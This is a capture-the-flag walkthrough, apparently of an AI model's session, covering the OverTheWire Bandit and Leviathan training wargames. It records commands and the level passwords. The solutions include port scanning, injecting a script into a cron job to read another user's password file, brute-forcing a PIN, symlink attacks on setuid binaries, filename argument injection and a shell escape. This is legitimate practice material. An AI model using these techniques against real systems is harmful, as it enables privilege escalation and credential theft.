Claude Opus 4.5 Hacks OverTheWire Wargames

Session Started: December 25, 2025

# Project: Bandit (OverTheWire)

## Description
Solving the OverTheWire Bandit wargame - a series of SSH-based security
challenges designed to teach Linux command line basics and security concepts.

## Goals
- [x] Complete Bandit levels 0-25 (automated)
- [x] Document solutions and learnings for each level
- [x] Build command-line and security skills
- [ ] Complete levels 26-33 (some require interactive terminal)

## Technical Details
- Platform: OverTheWire Bandit
- Host: bandit.labs.overthewire.org
- Port: 2220
- Connection: ssh [email protected] -p 2220

---

## Level 0 -> Level 1
**Goal:** Log into the game and read the readme file.

**Thought:** Connect with initial credentials and read the readme file
in the home directory.

**Action:**
ssh [email protected] -p 2220
# Password: bandit0
cat readme

**Result:** Password found: ZjLjTmM6FvvyRnrb2rfNWOZOTa6ip5If

---

## Level 1 -> Level 2
**Goal:** Read a file named - (dash).

**Thought:** Filenames starting with - are interpreted as options.
Need to use ./ prefix or -- to escape.

**Action:**
cat ./-

**Result:** Password found: 263JGJPfgU6LtdEvgfWU1XP5yac29mFx

---

## Level 2 -> Level 3
**Goal:** Read a file with spaces in the name.

**Thought:** The file has dashes and spaces. Need to quote the filename
and use -- to prevent option parsing.

**Action:**
cat -- "--spaces in this filename--"

**Result:** Password found: MNk8KNH3Usiio41PRUEoDFPqfxLPlSmx

---

## Level 3 -> Level 4
**Goal:** Find the hidden file in the inhere directory.

**Thought:** Hidden files start with a dot. Use ls -la to see them.

**Action:**
ls -la inhere/
cat inhere/...Hiding-From-You

**Result:** Password found: 2WmrDFRmJIq3IPxneAaMGhap0pFhF3NJ

---

## Level 4 -> Level 5
**Goal:** Find the only human-readable file in inhere directory.

**Thought:** Use file command to identify file types, then read the ASCII text file.

**Action:**
file inhere/*
cat inhere/-file07

**Result:** Password found: 4oQYVPkxZOOEOO5pTW81FB8j8lxXGUQw

---

## Level 5 -> Level 6
**Goal:** Find file that is 1033 bytes, not executable, and human-readable.

**Thought:** Use find with size and permission filters.

**Action:**
find inhere -type f -size 1033c ! -executable -exec cat {} ;

**Result:** Password found: HWasnPhtq9AVKe0dmk45nxy20cvUa6EG

---

## Level 6 -> Level 7
**Goal:** Find file owned by user bandit7, group bandit6, size 33 bytes.

**Thought:** Search entire filesystem with owner, group, and size filters.

**Action:**
find / -user bandit7 -group bandit6 -size 33c 2>/dev/null | xargs cat

**Result:** Password found: morbNTDkSW6jIlUc0ymOdMaLnOlFVAaj

---

## Level 7 -> Level 8
**Goal:** Find password next to the word "millionth" in data.txt.

**Thought:** Use grep to search for the keyword.

**Action:**
grep millionth data.txt

**Result:** Password found: dfwvzFQi4mU0wfNbFOe9RoWskMLg7eEc

---

## Level 8 -> Level 9
**Goal:** Find the line that occurs only once in data.txt.

**Thought:** Sort the file and use uniq -u to find unique lines.

**Action:**
sort data.txt | uniq -u

**Result:** Password found: 4CKMh1JI91bUIZZPXDqGanal4xvAg0JM

---

## Level 9 -> Level 10
**Goal:** Find password in human-readable strings, preceded by = characters.

**Thought:** Use strings to extract readable text, then grep for equals signs.

**Action:**
strings data.txt | grep "=="

**Result:** Password found: FGUW5ilLVJrxX9kMYMmlN4MgbpfMiqey

---

## Level 10 -> Level 11
**Goal:** Decode base64 encoded data.

**Thought:** Use base64 decode command.

**Action:**
base64 -d data.txt

**Result:** Password found: dtR173fZKb0RRsDFSGsg2RWnpNVj3qRr

---

## Level 11 -> Level 12
**Goal:** Decode ROT13 encoded text.

**Thought:** Use tr to rotate characters by 13 positions.

**Action:**
cat data.txt | tr "A-Za-z" "N-ZA-Mn-za-m"

**Result:** Password found: 7x16WNeHIi5YkIhWsfFIqoognUTyj9Q4

---

## Level 12 -> Level 13
**Goal:** Decompress a hexdump file through multiple compression layers.

**Thought:** Convert hexdump back to binary, then repeatedly decompress
(gzip, bzip2, tar).

**Action:**
cd /tmp && mkdir workdir && cd workdir
xxd -r ~/data.txt > d
# Repeat: check file type, rename with appropriate extension, decompress
# gzip -> gunzip, bzip2 -> bunzip2, tar -> tar xf

**Result:** Password found: FO5dwFsc0cbaIiH0h8J2eUks2vdTDwAn

---

## Level 13 -> Level 14
**Goal:** Use SSH private key to login as bandit14.

**Thought:** Use the provided SSH key file for authentication.

**Action:**
ssh -i sshkey.private bandit14@localhost -p 2220
cat /etc/bandit_pass/bandit14

**Result:** Password found: MU4VWeTyJk8ROof1qqmcBPaLh7lDCPvS

---

## Level 14 -> Level 15
**Goal:** Submit current password to port 30000.

**Thought:** Use netcat to send the password.

**Action:**
cat /etc/bandit_pass/bandit14 | nc localhost 30000

**Result:** Password found: 8xCjnmgoKbGLhHFAZlGE5Tmu4M2tKJQo

---

## Level 15 -> Level 16
**Goal:** Submit password over SSL to port 30001.

**Thought:** Use openssl s_client for SSL connection.

**Action:**
echo '8xCjnmgoKbGLhHFAZlGE5Tmu4M2tKJQo' | openssl s_client -connect localhost:30001 -quiet

**Result:** Password found: kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx

---

## Level 16 -> Level 17
**Goal:** Find open port in 31000-32000 range that speaks SSL and returns SSH key.

**Thought:** Scan ports with nmap, test each with SSL.

**Action:**
nmap -p 31000-32000 localhost
# Port 31790 returns an SSH key
echo 'kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx' | openssl s_client -connect localhost:31790 -quiet

**Result:** Retrieved SSH private key for bandit17

---

## Level 17 -> Level 18
**Goal:** Find the only changed line between passwords.old and passwords.new.

**Thought:** Use diff to compare files.

**Action:**
diff passwords.old passwords.new

**Result:** Password found: x2gLTTjFwMOhQ8oWNbMN362QKxfRqGlO

---

## Level 18 -> Level 19
**Goal:** Read readme file when .bashrc logs you out.

**Thought:** Execute command directly via SSH without starting a shell.

**Action:**
ssh [email protected] -p 2220 'cat readme'

**Result:** Password found: cGWpMaKXVwDUNgPAVJbWYuGHVn9zl3j8

---

## Level 19 -> Level 20
**Goal:** Use setuid binary to read bandit20's password.

**Thought:** The bandit20-do binary runs commands as bandit20.

**Action:**
./bandit20-do cat /etc/bandit_pass/bandit20

**Result:** Password found: 0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO

---

## Level 20 -> Level 21
**Goal:** Use suconnect binary that verifies password over network.

**Thought:** Start a listener with the password, then connect with suconnect.

**Action:**
echo "0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO" | nc -l 12346 &
./suconnect 12346

**Result:** Password found: EeoULMCra2q0dSkYj561DX7s1CpBuOBt

---

## Level 21 -> Level 22
**Goal:** Examine cron job to find password.

**Thought:** Check cron scripts in /etc/cron.d and trace where password is written.

**Action:**
cat /etc/cron.d/cronjob_bandit22
cat /usr/bin/cronjob_bandit22.sh
# Script writes to /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

**Result:** Password found: tRae0UfB9v0UzbCdn9cY0gQnds9GF58Q

---

## Level 22 -> Level 23
**Goal:** Reverse engineer cron script that uses md5sum.

**Thought:** Script creates filename from md5 hash of "I am user $username".

**Action:**
target=$(echo "I am user bandit23" | md5sum | cut -d" " -f1)
cat /tmp/$target

**Result:** Password found: 0Zf11ioIjMVN551jX3CmStKLYqjk54Ga

---

## Level 23 -> Level 24
**Goal:** Write a script that cron will execute as bandit24.

**Thought:** Place a script in /var/spool/bandit24/foo that copies the password.

**Action:**
mkdir -p /tmp/myoutput
chmod 777 /tmp/myoutput
cat > /var/spool/bandit24/foo/getpass.sh << 'EOF'
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/myoutput/pass
chmod 644 /tmp/myoutput/pass
EOF
chmod 755 /var/spool/bandit24/foo/getpass.sh
# Wait for cron (runs every minute)
sleep 65
cat /tmp/myoutput/pass

**Result:** Password found: gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8

---

## Level 24 -> Level 25
**Goal:** Brute force 4-digit PIN with daemon on port 30002.

**Thought:** Generate all possible PINs and submit with password.

**Action:**
for pin in $(seq 0 9999); do
  printf "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 %04d
" $pin
done | nc localhost 30002 | grep -v Wrong

**Result:** Password found: iCi86ttT4KSNe1armKiwbQNmB3YJP3q4

---

## Level 25 -> Level 26
**Goal:** Login as bandit26 whose shell is /usr/bin/showtext (uses more).

**Thought:** Need to trigger more to pause by making terminal very small,
then escape to vim.

**Action (requires interactive terminal):**
1. Resize terminal window to be very small (about 5 lines)
2. SSH using the provided key: ssh -i bandit26.sshkey bandit26@localhost -p 2220
3. more will pause - press v to enter vim
4. In vim: :set shell=/bin/bash
5. Then: :shell or :!cat /etc/bandit_pass/bandit26

**Note:** This level requires interactive terminal manipulation and cannot
be fully automated.

---

## Summary of Skills Demonstrated

| Level | Method | Key Skill |
|-------|--------|-----------|
| 0-1 | SSH + cat | Basic file reading |
| 1-2 | ./ prefix | Handling special filenames |
| 2-3 | Quoting | Filenames with spaces |
| 3-4 | ls -la | Hidden files |
| 4-5 | file command | Identifying file types |
| 5-6 | find with filters | File searching |
| 6-7 | find system-wide | Multi-attribute search |
| 7-8 | grep | Text searching |
| 8-9 | sort + uniq | Finding unique lines |
| 9-10 | strings + grep | Binary file analysis |
| 10-11 | base64 -d | Base64 decoding |
| 11-12 | tr | ROT13 cipher |
| 12-13 | xxd, gunzip, bunzip2, tar | Compression layers |
| 13-14 | SSH key auth | Key-based authentication |
| 14-15 | netcat | Network communication |
| 15-16 | openssl s_client | SSL/TLS |
| 16-17 | nmap + SSL | Port scanning |
| 17-18 | diff | File comparison |
| 18-19 | ssh command execution | Bypassing restricted shells |
| 19-20 | setuid binary | Privilege escalation |
| 20-21 | nc listener + suconnect | Network authentication |
| 21-22 | cron analysis | Scheduled tasks |
| 22-23 | md5sum reverse | Hash-based paths |
| 23-24 | cron script injection | Privilege escalation via cron |
| 24-25 | brute force | PIN cracking |
| 25-26 | more + vim escape | Shell escape techniques |

---

Session Completed: December 25, 2025

Levels 0-25 were solved successfully through automated SSH commands.
Levels 25-26 require interactive terminal manipulation and are documented
with the approach.

# Project: Leviathan (OverTheWire)

## Description
OverTheWire Leviathan wargame - focuses on basic exploitation and setuid
binaries. No hints provided on the website, requires independent problem-solving.

## Connection Details
- Host: leviathan.labs.overthewire.org
- Port: 2223
- Command: ssh [email protected] -p 2223
- Initial password: leviathan0

## Level Progress
| Level | Status | Password |
|-------|--------|----------|
| 0 | Complete | leviathan0 |
| 1 | Complete | 3QJ3TgzHDq |
| 2 | Complete | NsN1HwFoyN |
| 3 | Complete | f0n8h2iWLP |
| 4 | Complete | WG1egElCvO |
| 5 | Complete | 0dyxT7F4QD |
| 6 | Complete | szo7HDB88w |
| 7 | Complete | qEs5Io5yM8 |

---

## Solutions

### Level 0 -> 1
**Technique:** Hidden file enumeration

The home directory contains a hidden .backup folder with bookmarks.html.
Grepping for "leviathan" reveals the password embedded in a bookmark entry.

grep -i "leviathan1" .backup/bookmarks.html

### Level 1 -> 2
**Technique:** ltrace to find hardcoded password

A setuid binary check prompts for a password. Using ltrace reveals a
strcmp() call comparing input against "sex".

ltrace ./check   # Shows strcmp("input", "sex")

Entering "sex" spawns a shell as leviathan2.

### Level 2 -> 3
**Technique:** Race condition / Argument injection via spaces in filename

The printfile binary:
1. Uses access() to check if user can read the file (checks real UID)
2. Uses system("/bin/cat %s") to print it (runs as effective UID)

Vulnerability: Filename is not quoted in the system call. Creating a file
with a space allows argument injection:

ln -s /etc/leviathan_pass/leviathan3 pass
touch "pass extra"
~/printfile "pass extra"
# Runs: /bin/cat pass extra
# "pass" symlinks to password file, gets printed first

### Level 3 -> 4
**Technique:** ltrace to find hardcoded password

Similar to Level 1. The level3 binary compares input against "snlprintf".

ltrace ./level3  # Shows strcmp("input
", "snlprintf
")

### Level 4 -> 5
**Technique:** Binary decoding

The .trash/bin binary outputs the password in binary (8-bit ASCII).

.trash/bin
# Output: 00110000 01100100 01111001 ...

Decode: Each 8-bit group = ASCII character.

### Level 5 -> 6
**Technique:** Symlink attack

The leviathan5 binary reads from /tmp/file.log. Create a symlink to
the password file:

ln -sf /etc/leviathan_pass/leviathan6 /tmp/file.log
./leviathan5

### Level 6 -> 7
**Technique:** PIN bruteforce

The leviathan6 binary requires a 4-digit PIN. Bruteforce 0000-9999:

for i in $(seq 0 9999); do
  code=$(printf "%04d" $i)
  result=$(./leviathan6 $code 2>&1)
  if [ "$result" != "Wrong" ]; then
    echo "PIN: $code"  # 7123
    break
  fi
done

---

## Progress Log

### 2025-12-26
- **Completed all levels (0-7)** in a single session
- Key techniques: ltrace debugging, symlink attacks, argument injection, bruteforce
- Total time: ~15 minutes automated
- All passwords discovered and documented